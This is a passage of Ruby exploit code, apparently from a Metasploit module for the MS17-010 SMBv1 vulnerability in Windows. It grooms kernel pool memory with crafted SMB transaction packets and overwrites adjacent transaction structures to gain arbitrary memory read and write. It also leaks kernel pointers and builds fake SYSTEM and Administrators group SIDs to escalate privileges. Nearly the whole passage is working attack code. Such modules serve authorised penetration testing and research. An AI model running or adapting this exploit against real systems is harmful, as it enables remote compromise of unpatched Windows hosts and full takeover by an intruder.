expected_size = [@ctx['BRIDE_TRANS_SIZE']].pack("v") #pack('<H', info['BRIDE_TRANS_SIZE'])
|
||||
leakTransOffset = @ctx['POOL_ALIGN'] + @ctx['SRV_BUFHDR_SIZE']
|
||||
|
||||
if leakData[0x4..0x8 - 1] != 'LStr' ||
|
||||
leakData[@ctx['POOL_ALIGN'] .. @ctx['POOL_ALIGN'] + 2 - 1] != expected_size ||
|
||||
leakData[leakTransOffset + 2 .. leakTransOffset + 4 - 1] != expected_size
|
||||
vprint_error("Transaction struct missing from leak data!")
|
||||
return nil
|
||||
end
|
||||
|
||||
leakTrans = leakData[leakTransOffset..-1]
|
||||
|
||||
ptrf = @ctx['PTR_FMT']
|
||||
_, connection_addr, session_addr, treeconnect_addr, flink_value = leakTrans[0x8..-1].unpack(ptrf * 5) #unpack_from('<'+ptrf*5, leakTrans, 8)
|
||||
inparam_value = leakTrans[@ctx['TRANS_INPARAM_OFFSET']..-1].unpack(ptrf)[0] #unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
|
||||
leak_mid = leakTrans[@ctx['TRANS_MID_OFFSET']..-1].unpack("v")[0] #unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
|
||||
|
||||
if datastore['DBGTRACE']
|
||||
print_status("CONNECTION: 0x#{connection_addr.to_s(16)}")
|
||||
print_status("SESSION: 0x#{session_addr.to_s(16)}")
|
||||
print_status("FLINK: 0x#{flink_value.to_s(16)}")
|
||||
print_status("InParam: 0x#{inparam_value.to_s(16)}")
|
||||
print_status("MID: 0x#{leak_mid.to_s(16)}")
|
||||
end
|
||||
|
||||
next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000
|
||||
if next_page_addr + @ctx['GROOM_POOL_SIZE'] + @ctx['FRAG_POOL_SIZE'] + @ctx['POOL_ALIGN'] + @ctx['SRV_BUFHDR_SIZE'] + @ctx['TRANS_FLINK_OFFSET'] != flink_value
|
||||
delta = flink_value - next_page_addr
|
||||
if datastore['DBGTRACE']
|
||||
print_error("Unexpected Flink alignment, delta: #{delta.to_s(16)}")
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
# trans1: leak transaction
|
||||
# trans2: next transaction
|
||||
return {
|
||||
'connection' => connection_addr,
|
||||
'session' => session_addr,
|
||||
'next_page_addr' => next_page_addr,
|
||||
'trans1_mid' => leak_mid,
|
||||
'trans1_addr' => inparam_value - @ctx['TRANS_SIZE'] - TRANS_NAME_LEN,
|
||||
'trans2_addr' => flink_value - @ctx['TRANS_FLINK_OFFSET'],
|
||||
}
|
||||
end
|
||||
|
||||
def exploit_fish_barrel(pipe_handle)
|
||||
@ctx['fid'] = pipe_handle.file_id
|
||||
xTRANS_NAME_LEN = 4
|
||||
xHEAP_HDR_SIZE = 8 # heap chunk header size
|
||||
|
||||
if @ctx['os'] == 'WIN7' and !(@ctx.key? 'arch')
|
||||
# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
|
||||
begin
|
||||
leak_frag_size(pipe_handle.file_id)
|
||||
rescue Timeout::Error
|
||||
raise MS17_010_Error, 'Timeout::Error leaking initial Frag size, is the target patched?'
|
||||
end
|
||||
end
|
||||
|
||||
attempt_list = []
|
||||
if @ctx.key? 'arch'
|
||||
# add os and arch specific exploit info
|
||||
pick_ctx()
|
||||
attempt_list.push(OS_ARCH_INFO[@ctx['os']][@ctx['arch']])
|
||||
else
|
||||
# do not know target architecture
|
||||
# this case is only for Windows 2003
|
||||
# try offset of 64 bit then 32 bit because no target architecture
|
||||
attempt_list.push(OS_ARCH_INFO[@ctx['os']]['x64'])
|
||||
attempt_list.push(OS_ARCH_INFO[@ctx['os']]['x86'])
|
||||
end
|
||||
|
||||
# ================================
|
||||
# groom packets
|
||||
# ================================
|
||||
# sum of transaction name, parameters and data length is 0x1000
|
||||
# paramterCount = 0x100-TRANS_NAME_LEN
|
||||
trans_param = [@ctx['fid']].pack("V") #pack('<HH', info['fid'], 0)
|
||||
for i in 0..11
|
||||
mid = if i == 8 then @ctx['fid'] else next_extra_multiplex_id() end
|
||||
|
||||
pkt = create_trans_packet(mid: mid, param: trans_param, totalParameterCount:0x100-TRANS_NAME_LEN,
|
||||
totalDataCount: 0xec0, maxParameterCount: 0x40, maxDataCount: 0)
|
||||
smb_send_recv_raw(pkt.to_s)
|
||||
end
|
||||
|
||||
print_status("Filling barrel with fish... done")
|
||||
print_status("<---------------- | Entering Danger Zone | ---------------->")
|
||||
print_status("\t[*] Preparing dynamite...")
|
||||
|
||||
# expected transactions alignment
|
||||
#
|
||||
# +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
|
||||
# | mid=mid1 | mid=mid2 | | mid=mid8 | mid=fid | mid=mid9 | mid=mid10 | mid=mid11 |
|
||||
# +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
|
||||
# trans1 trans2
|
||||
# ================================
|
||||
# shift transaction Indata ptr with SmbWriteAndX
|
||||
# ================================
|
||||
shift_indata_byte = 0x200
|
||||
do_write_andx_raw_pipe(fid: pipe_handle.file_id, data: Rex::Text.rand_text_alpha(shift_indata_byte)) #"A"*shift_indata_byte)
|
||||
|
||||
success = false
|
||||
stick = 1
|
||||
for xinfo in attempt_list
|
||||
tinfo = {}
|
||||
tinfo = tinfo.merge(xinfo['CPUARCH'])
|
||||
tinfo = tinfo.merge(xinfo['OFFSETS'])
|
||||
tinfo = tinfo.merge(xinfo['SESSION'])
|
||||
|
||||
vprint_status("Attempt controlling next transaction on #{tinfo['ARCH']}")
|
||||
xHEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE']+xHEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
|
||||
xNEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + xHEAP_CHUNK_PAD_SIZE + xHEAP_HDR_SIZE
|
||||
|
||||
# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
|
||||
pkt = create_trans_secondary_packet(mid: @ctx['fid'], data: "\x00", dataDisplacement: xNEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
do_smb_echo()
|
||||
|
||||
# if the overwritten is correct, a modified transaction mid should be special_mid now.
|
||||
# a new transaction with special_mid should be error.
|
||||
pkt = create_nt_trans_packet(5, mid: @@special_mid, param: trans_param, data: '')
|
||||
recvPkt = smb_send_recv_raw(pkt.to_s)
|
||||
|
||||
errno = recvPkt['Payload']['SMB'].v['ErrorClass']
|
||||
if errno == 0x10002 # non-specific server error
|
||||
success = true
|
||||
print_status("\t\t[*] Trying stick #{stick.to_s} (#{tinfo['ARCH']})...Boom!")
|
||||
|
||||
if !(@ctx.key? 'arch')
|
||||
#vprint_status("Target arch detected as #{tinfo['ARCH']}")
|
||||
@ctx['arch'] = tinfo['ARCH']
|
||||
pick_ctx()
|
||||
end
|
||||
|
||||
break
|
||||
end
|
||||
|
||||
print_status("\t\tTrying stick #{stick.to_s} (#{tinfo['ARCH']})...Miss")
|
||||
stick += 1
|
||||
|
||||
if errno != 0
|
||||
vprint_status("Unexpected return status: 0x{errno.to_s(16)}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
if not success
|
||||
print_status("<---------------- | Leaving Danger Zone | ---------------->")
|
||||
raise MS17_010_Error, "Unable to control groom transaction"
|
||||
end
|
||||
|
||||
# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two
|
||||
# transactions (do not know the address).
|
||||
# After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
|
||||
# To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
|
||||
# To be able to modify trans1 struct, we need to use trans2 param or data but write backward.
|
||||
# On 32 bit target, we can write to any address if parameter count is 0xffffffff.
|
||||
# On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions
|
||||
# are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
|
||||
# we also modify HIDWORD of InParameter to 0xffffffff.
|
||||
|
||||
pkt = create_trans_secondary_packet(mid: @ctx['fid'], data: "\xff"*4, dataDisplacement: xNEXT_TRANS_OFFSET+@ctx['TRANS_TOTALPARAMCNT_OFFSET'])
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
|
||||
# on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
|
||||
if @ctx['arch'] == 'x64'
|
||||
pkt = create_trans_secondary_packet(mid: @ctx['fid'], data: "\xff"*4, dataDisplacement: xNEXT_TRANS_OFFSET+@ctx['TRANS_INPARAM_OFFSET']+4)
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
end
|
||||
do_smb_echo()
|
||||
|
||||
xTRANS_CHUNK_SIZE = xHEAP_HDR_SIZE + @ctx['TRANS_SIZE'] + 0x1000 + xHEAP_CHUNK_PAD_SIZE
|
||||
xPREV_TRANS_DISPLACEMENT = xTRANS_CHUNK_SIZE + @ctx['TRANS_SIZE'] + xTRANS_NAME_LEN
|
||||
xPREV_TRANS_OFFSET = 0x100000000 - xPREV_TRANS_DISPLACEMENT
|
||||
|
||||
# modify paramterCount of first transaction
|
||||
pkt = create_nt_trans_secondary_packet(mid: @@special_mid, param: "\xff"*4, paramDisplacement: xPREV_TRANS_OFFSET+@ctx['TRANS_TOTALPARAMCNT_OFFSET'])
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
|
||||
if @ctx['arch'] == 'x64'
|
||||
pkt = create_nt_trans_secondary_packet(mid: @@special_mid, param: "\xff"*4, paramDisplacement: xPREV_TRANS_OFFSET+@ctx['TRANS_INPARAM_OFFSET']+4)
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
|
||||
# restore trans2.InParameters pointer before leaking next transaction
|
||||
pkt = create_trans_secondary_packet(mid: @ctx['fid'], data: "\x00"*4, dataDisplacement: xNEXT_TRANS_OFFSET+@ctx['TRANS_INPARAM_OFFSET']+4)
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
end
|
||||
|
||||
do_smb_echo()
|
||||
|
||||
# ================================
|
||||
# leak transaction
|
||||
# ================================
|
||||
# modify TRANSACTION member to leak info
|
||||
# function=5 (NT_TRANS_RENAME)
|
||||
pkt = create_trans_secondary_packet(mid: @ctx['fid'], data: "\x05", dataDisplacement: xNEXT_TRANS_OFFSET+@ctx['TRANS_FUNCTION_OFFSET'])
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
|
||||
# parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
|
||||
data = [4, 4, 4, 0x100, 0x100].pack("VVVVV") #pack('<IIIII', 4, 4, 4, 0x100, 0x100)
|
||||
pkt = create_trans_secondary_packet(mid: @ctx['fid'], data: data, dataDisplacement: xNEXT_TRANS_OFFSET+@ctx['TRANS_PARAMCNT_OFFSET'])
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
|
||||
pkt = create_nt_trans_secondary_packet(mid: @@special_mid)
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
|
||||
leakData = recv_transaction_data(@@special_mid, 0x100)
|
||||
leakData = leakData[4..-1] # remove param
|
||||
|
||||
chunk = leakData[xHEAP_CHUNK_PAD_SIZE..-1].unpack("v")[0]
|
||||
#if chunk != (xTRANS_CHUNK_SIZE // info['POOL_ALIGN'])
|
||||
# raise MS17_010_Error, "Chunk size wrong in leaked data: 0x#{chunk.to_s(16)}"
|
||||
#end
|
||||
|
||||
# extract leak transaction data and make next transaction to be trans2
|
||||
leakTranOffset = xHEAP_CHUNK_PAD_SIZE + xHEAP_HDR_SIZE
|
||||
leakTrans = leakData[leakTranOffset..-1]
|
||||
fmt = @ctx['PTR_FMT']
|
||||
_, connection_addr, session_addr, treeconnect_addr, flink_value = leakTrans[8..-1].unpack(fmt * 5) #unpack_from('<'+fmt*5, leakTrans, 8)
|
||||
inparam_value, outparam_value, indata_value = leakTrans[@ctx['TRANS_INPARAM_OFFSET']..-1].unpack(fmt * 3) #unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
|
||||
trans2_mid = leakTrans[@ctx['TRANS_MID_OFFSET']..-1].unpack("v")[0] #unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
|
||||
|
||||
# not 1:1
|
||||
print_status("\t[+] Successfully Leaked Transaction!")
|
||||
print_status("\t[+] Successfully caught Fish-in-a-barrel")
|
||||
print_status("<---------------- | Leaving Danger Zone | ---------------->")
|
||||
print_status("Reading from CONNECTION struct at: 0x#{connection_addr.to_s(16)}")
|
||||
|
||||
trans2_addr = inparam_value - @ctx['TRANS_SIZE'] - xTRANS_NAME_LEN
|
||||
trans1_addr = trans2_addr - xTRANS_CHUNK_SIZE * 2
|
||||
|
||||
if datastore['DBGTRACE']
|
||||
print_status("CONNECTION: 0x#{connection_addr.to_s(16)}")
|
||||
print_status("SESSION: 0x#{session_addr.to_s(16)}")
|
||||
print_status("FLINK: 0x#{flink_value.to_s(16)}")
|
||||
print_status("InData: 0x#{indata_value.to_s(16)}")
|
||||
print_status("MID: 0x#{trans2_mid.to_s(16)}")
|
||||
print_status("TRANS1: 0x#{trans1_addr.to_s(16)}")
|
||||
print_status("TRANS2: 0x#{trans2_addr.to_s(16)}")
|
||||
end
|
||||
|
||||
# ================================
|
||||
# modify trans struct to be used for arbitrary read/write
|
||||
# ================================
|
||||
# modify
|
||||
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
|
||||
# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
|
||||
# Note: HIDWORD of trans1.InParameter is still 0xffffffff
|
||||
xTRANS_OFFSET = 0x100000000 - (@ctx['TRANS_SIZE'] + xTRANS_NAME_LEN)
|
||||
param = [trans1_addr, trans1_addr+0x200, trans2_addr].pack(fmt * 3) #pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr)
|
||||
pkt = create_nt_trans_secondary_packet(mid: @ctx['fid'], param: param, paramDisplacement: xTRANS_OFFSET+@ctx['TRANS_INPARAM_OFFSET'])
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
do_smb_echo()
|
||||
|
||||
# modify trans1.mid
|
||||
trans1_mid = next_multiplex_id()
|
||||
param = [trans1_mid].pack("v") # pack('<H', trans1_mid)
|
||||
pkt = create_trans_secondary_packet(mid: @ctx['fid'], param: param, paramDisplacement: @ctx['TRANS_MID_OFFSET'])
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
do_smb_echo()
|
||||
|
||||
@ctx['connection'] = connection_addr
|
||||
@ctx['session'] = session_addr
|
||||
@ctx['trans1_mid'] = trans1_mid
|
||||
@ctx['trans1_addr'] = trans1_addr
|
||||
@ctx['trans2_mid'] = trans2_mid
|
||||
@ctx['trans2_addr'] = trans2_addr
|
||||
end
|
||||
|
||||
|
||||
def create_fake_SYSTEM_UserAndGroups(userAndGroupCount, userAndGroupsAddr)
|
||||
xSID_SYSTEM = "\x01\x01\x00\x00\x00\x00\x00\x05\x12\x00\x00\x00" # pack('<BB5xB'+'I', 1, 1, 5, 18)
|
||||
xSID_ADMINISTRATORS = "\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00" #pack('<BB5xB'+'II', 1, 2, 5, 32, 544)
|
||||
xSID_AUTHENICATED_USERS = "\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00" #pack('<BB5xB'+'I', 1, 1, 5, 11)
|
||||
xSID_EVERYONE = "\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00" #pack('<BB5xB'+'I', 1, 1, 1, 0)
|
||||
# SID_SYSTEM and SID_ADMINISTRATORS must be added
|
||||
sids = [ xSID_SYSTEM, xSID_ADMINISTRATORS, xSID_EVERYONE, xSID_AUTHENICATED_USERS ]
|
||||
# - user has no attribute (0)
|
||||
# - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
|
||||
# - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
|
||||
attrs = [ 0, 0xe, 7, 7 ]
|
||||
|
||||
# assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
|
||||
# fake user and groups will be in same buffer of original one
|
||||
# so fake sids size must NOT be bigger than the original sids
|
||||
fakeUserAndGroupCount = [userAndGroupCount, 4].min #min(userAndGroupCount, 4)
|
||||
fakeUserAndGroupsAddr = userAndGroupsAddr
|
||||
|
||||
addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * @ctx['PTR_SIZE'] * 2)
|
||||
fakeUserAndGroups = ""
|
||||
for i in 0..fakeUserAndGroupCount -1 # fuggin ruby, hope it isn't off by 1
|
||||
sid = sids[i]
|
||||
atr = attrs[i]
|
||||
fakeUserAndGroups << [addr, atr].pack(@ctx['PTR_FMT'] * 2)
|
||||
addr += sid.length
|
||||
end
|
||||
for i in 0..fakeUserAndGroupCount -1
|
||||
fakeUserAndGroups << sids[i]
|
||||
end
|
||||
|
||||
return fakeUserAndGroupCount, fakeUserAndGroups
|
||||
end
|
||||
|
||||
# Large pool allocation in NT Trans adds the tags Frag and Free to data returned.
|
||||
# We can use this information leak and determine by offset the arch size.
|
||||
# https://blogs.msdn.microsoft.com/ntdebugging/2012/01/27/stop-0x19-in-a-large-pool-allocation/
|
||||
#
|
||||
def leak_frag_size(fid)
|
||||
# use same mid for NT Trans and NT Trans Secondary
|
||||
mid = next_multiplex_id()
|
||||
|
||||
op = ::Rex::Proto::SMB::Constants::NT_TRANSACT_RENAME
|
||||
|
||||
r1pkt = create_nt_trans_packet(op, param: [fid].pack("V"), mid: mid, data: Rex::Text.rand_text_alpha(0x10d0), # data: "A" * 0x10d0,#
|
||||
maxParameterCount: GROOM_TRANS_SIZE - 0x10d0 - TRANS_NAME_LEN)
|
||||
|
||||
r2pkt = create_nt_trans_secondary_packet(mid: mid, data: Rex::Text.rand_text_alpha(276)) # data: "B" * 276) #
|
||||
|
||||
r1bin = r1pkt.to_s[0..-9]
|
||||
r2bin = r1pkt.to_s[-8..-1] + r2pkt.to_s
|
||||
self.simple.client.smb_send(r1bin)
|
||||
self.simple.client.smb_send(r2bin)
|
||||
|
||||
data = recv_transaction_data(mid, 0x10d0 + 276)
|
||||
data = data[0x10d4..-1]
|
||||
|
||||
if data[X64_FRAG_TAG_OFFSET..-1].starts_with? 'Frag'
|
||||
@ctx['arch'] = 'x64'
|
||||
@ctx['FRAG_POOL_SIZE'] = data[X64_FRAG_TAG_OFFSET - 2].ord * X64_POOL_ALIGN
|
||||
elsif data[X86_FRAG_TAG_OFFSET..-1].starts_with? 'Frag'
|
||||
@ctx['arch'] = 'x86'
|
||||
@ctx['FRAG_POOL_SIZE'] = data[X86_FRAG_TAG_OFFSET - 2].ord * X86_POOL_ALIGN
|
||||
else
|
||||
raise MS17_010_Error, "Unable to parse Frag leak data!"
|
||||
end
|
||||
|
||||
vprint_status("Frag pool info leak: arch=#{@ctx['arch']}, size=0x#{@ctx['FRAG_POOL_SIZE'].to_s(16)}")
|
||||
end
|
||||
|
||||
def bin_to_hex(s)
|
||||
s.each_byte.map { |b| "%02x" % b }.join
|
||||
end
|
||||
|
||||
def recv_transaction_data(mid, len)
|
||||
data = ''
|
||||
while data.length < len
|
||||
raw = self.simple.client.smb_recv
|
||||
|
||||
pkt = CONST::SMB_NTTRANS_RES_PKT.make_struct
|
||||
pkt.from_s(raw)
|
||||
|
||||
if pkt['Payload']['SMB'].v['MultiplexID'].to_s == mid.to_s
|
||||
data += pkt['Payload'].v['Payload'][1..-1]
|
||||
end
|
||||
end
|
||||
|
||||
return data
|
||||
end
|
||||
|
||||
def smb_send_recv_raw(raw)
|
||||
self.simple.client.smb_send(raw)
|
||||
data = self.simple.client.smb_recv()
|
||||
|
||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
pkt.from_s(data)
|
||||
|
||||
pkt
|
||||
end
|
||||
|
||||
def create_nt_trans_packet(subcommand, tid: nil, uid: nil, pid: nil, mid: nil, setup: '', param: '', data: '', maxSetupCount: nil, totalParameterCount: nil, totalDataCount: nil, maxParameterCount: nil, maxDataCount: nil)
|
||||
pkt = CONST::SMB_NTTRANS_PKT.make_struct
|
||||
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 19 + setup.length
|
||||
|
||||
pkt['Payload'].v['ParamCountTotal'] = if totalParameterCount != nil then totalParameterCount else param.length end
|
||||
pkt['Payload'].v['DataCountTotal'] = if totalDataCount != nil then totalDataCount else data.length end
|
||||
pkt['Payload'].v['ParamCountMax'] = if maxParameterCount != nil then maxParameterCount else param.length end
|
||||
pkt['Payload'].v['DataCountMax'] = if maxDataCount != nil then maxDataCount else data.length end # doesnt match?
|
||||
pkt['Payload'].v['ParamCount'] = param.length
|
||||
pkt['Payload'].v['DataCount'] = data.length
|
||||
pkt['Payload'].v['SetupCount'] = setup.length
|
||||
pkt['Payload'].v['SetupData'] = setup
|
||||
|
||||
pkt['Payload'].v['Subcommand'] = subcommand
|
||||
|
||||
pkt = put_trans_data(pkt, data: data, param: param)
|
||||
|
||||
return pkt
|
||||
end
|
||||
|
||||
def create_nt_trans_secondary_packet(tid: nil, uid: nil, pid: nil, mid: nil, wct: 18, param: '', paramDisplacement: 0, data: '', dataDisplacement: 0)
|
||||
pkt = CONST::SMB_NTTRANS_SECONDARY_PKT.make_struct
|
||||
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT_SECONDARY
|
||||
pkt['Payload']['SMB'].v['WordCount'] = wct
|
||||
|
||||
pkt['Payload'].v['ParamCountTotal'] = param.length
|
||||
pkt['Payload'].v['DataCountTotal'] = data.length
|
||||
pkt['Payload'].v['ParamCount'] = param.length
|
||||
pkt['Payload'].v['DataCount'] = data.length
|
||||
pkt['Payload'].v['DataDisplace'] = dataDisplacement
|
||||
pkt['Payload'].v['ParamDisplace'] = paramDisplacement
|
||||
|
||||
pkt = put_trans_data(pkt, data: data, param: param)
|
||||
pkt
|
||||
end
|
||||
|
||||
def create_trans_packet(tid: nil, uid: nil, pid: nil, mid: nil, setup: '', param: '', data: '', maxSetupCount: nil, totalParameterCount: nil, totalDataCount: nil, maxParameterCount: nil, maxDataCount: nil)
|
||||
pkt = CONST::SMB_TRANS_PKT.make_struct
|
||||
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup.length
|
||||
|
||||
pkt['Payload'].v['ParamCountTotal'] = if totalParameterCount != nil then totalParameterCount else param.length end
|
||||
pkt['Payload'].v['DataCountTotal'] = if totalDataCount != nil then totalDataCount else data.length end
|
||||
pkt['Payload'].v['ParamCountMax'] = if maxParameterCount != nil then maxParameterCount else param.length end
|
||||
pkt['Payload'].v['DataCountMax'] = if maxDataCount != nil then maxDataCount else data.length end
|
||||
pkt['Payload'].v['ParamCount'] = param.length
|
||||
pkt['Payload'].v['DataCount'] = data.length
|
||||
pkt['Payload'].v['SetupCount'] = setup.length
|
||||
pkt['Payload'].v['SetupData'] = setup
|
||||
|
||||
pkt['Payload'].v['Flags'] = 0
|
||||
pkt['Payload'].v['Timeout'] = 0xffffffff
|
||||
|
||||
pkt = put_trans_data(pkt, data: data, param: param)
|
||||
|
||||
pkt
|
||||
end
|
||||
|
||||
# Note: Setup length is included when len(param) is called
|
||||
def put_trans_data(pkt, len: 0, param: '', data: '', noPad: false)
|
||||
pkt['Payload'].v['ParamOffset'] = 0
|
||||
pkt['Payload'].v['DataOffset'] = 0
|
||||
|
||||
# SMB header: 32 bytes
|
||||
# WordCount: 1 bytes
|
||||
# ByteCount: 2 bytes
|
||||
#offset = 32 + 1 + len + 2 #len(pkt['Parameters']) + 2
|
||||
len = pkt.to_s.length - 4
|
||||
param = param.b
|
||||
data = data.b
|
||||
offset = len
|
||||
|
||||
transData = ''
|
||||
if param != ''
|
||||
padLen = if noPad then 0 else (4 - offset % 4 ) % 4 end
|
||||
pkt['Payload'].v['ParamOffset'] = offset + padLen
|
||||
transData = ("\x00" * padLen) + param
|
||||
offset += padLen + param.length
|
||||
end
|
||||
|
||||
if data != ''
|
||||
padLen = if noPad then 0 else (4 - offset % 4 ) % 4 end
|
||||
pkt['Payload'].v['DataOffset'] = offset + padLen
|
||||
transData += ("\x00" * padLen) + data
|
||||
end
|
||||
|
||||
pkt['Payload'].v['Payload'] = transData
|
||||
pkt
|
||||
end
|
||||
|
||||
def create_trans_secondary_packet(tid: nil, uid: nil, pid: nil, mid: nil, param: '', paramDisplacement: 0, data: '', dataDisplacement: 0)
|
||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
|
||||
|
||||
param = param.b
|
||||
data = data.b
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION_SECONDARY
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 8
|
||||
|
||||
base_offset = 51 #pkt.to_s.length - 4
|
||||
param_offset = if param != '' then base_offset else 0 end
|
||||
data_offset = if data != '' then base_offset + param.length else 0 end
|
||||
|
||||
raw = pkt.to_s[0..-3]
|
||||
|
||||
raw << [param.length].pack("v") # total param count
|
||||
raw << [data.length].pack("v") # total data count
|
||||
raw << [param.length].pack("v") # param count
|
||||
raw << [param_offset].pack("v") # param offset
|
||||
raw << [paramDisplacement].pack("v") # param displacement
|
||||
raw << [data.length].pack("v") # data count
|
||||
raw << [data_offset].pack("v")
|
||||
raw << [dataDisplacement].pack("v") # data displacement
|
||||
|
||||
payload = param + data
|
||||
raw << [payload.length].pack("v") #BCC
|
||||
|
||||
raw += param + data
|
||||
|
||||
# fix nbss header
|
||||
raw = raw[4..-1]
|
||||
nbss = [raw.length].pack("N")
|
||||
raw = nbss + raw
|
||||
|
||||
return raw
|
||||
end
|
||||
|
||||
def do_write_andx_raw_pipe(fid: 0, data: '', tid: nil, uid: nil, pid: nil, mid: nil)
|
||||
pkt = CONST::SMB_WRITE_PKT.make_struct
|
||||
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 12
|
||||
|
||||
base_offset = 24
|
||||
|
||||
pkt['Payload'].v['AndX'] = 0xff
|
||||
pkt['Payload'].v['FileID'] = fid
|
||||
pkt['Payload'].v['Offset'] = 0
|
||||
pkt['Payload'].v['WriteMode'] = 4 # SMB_WMODE_WRITE_RAW_NAMED_PIPE
|
||||
pkt['Payload'].v['Remaining'] = 1000 + Random.rand(10000) # 12345 # can be any. raw named pipe does not use it
|
||||
pkt['Payload'].v['DataLenHigh'] = 0
|
||||
pkt['Payload'].v['DataLenLow'] = data.length
|
||||
pkt['Payload'].v['DataOffset'] = 32 + 1 + base_offset + 2 + 1
|
||||
|
||||
#pkt['Payload'].v['Payload'] = "\x00" + data
|
||||
#pkt['Payload'].v['DataOffsetHigh'] = ## we need to remove this!
|
||||
|
||||
# DataOffsetHigh adds 4 bytes, BCC +2
|
||||
raw = pkt.to_s[0..-7]
|
||||
|
||||
raw << [data.length + 1].pack("v") # add 1 for pad byte
|
||||
raw << "\x00" # pad byte
|
||||
raw << data
|
||||
|
||||
# fix nbss header
|
||||
raw = raw[4..-1]
|
||||
nbss = [raw.length].pack("N")
|
||||
raw = nbss + raw
|
||||
|
||||
self.simple.client.smb_send(raw)
|
||||
|
||||
return self.simple.client.smb_recv()
|
||||
end
|
||||
|
||||
def do_smb_echo(tid: nil, uid: nil, pid: nil, mid: nil, data: nil)
|
||||
if data == nil
|
||||
data = Rex::Text.rand_text_alpha(1) #"\x41"
|
||||
end
|
||||
|
||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
|
||||
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_ECHO
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 1
|
||||
|
||||
# build echo packet
|
||||
raw = pkt.to_s[0..-3]
|
||||
|
||||
raw << [data.length].pack("v") # echo count
|
||||
raw << [data.length].pack("v") # BCC
|
||||
raw << data
|
||||
|
||||
# fix nbss header
|
||||
raw = raw[4..-1]
|
||||
nbss = [raw.length].pack("N")
|
||||
raw = nbss + raw
|
||||
|
||||
self.simple.client.smb_send(raw)
|
||||
self.simple.client.smb_recv()
|
||||
end
|
||||
|
||||
# Sets common SMB1 Header values used by the various
|
||||
# packets in the exploit.
|
||||
def set_smb1_headers(pkt, tid: nil, uid: nil, pid: nil, mid: nil)
|
||||
# fill with defaults
|
||||
self.simple.client.smb_defaults(pkt['Payload']['SMB'])
|
||||
|
||||
# special case: do not ever let mid interfere with fid
|
||||
pkt['Payload']['SMB'].v['MultiplexID'] = if mid != nil then mid else next_multiplex_id() end
|
||||
|
||||
if uid != nil
|
||||
pkt['Payload']['SMB'].v['UserID'] = uid
|
||||
end
|
||||
|
||||
if tid != nil
|
||||
pkt['Payload']['SMB'].v['TreeID'] = tid
|
||||
end
|
||||
|
||||
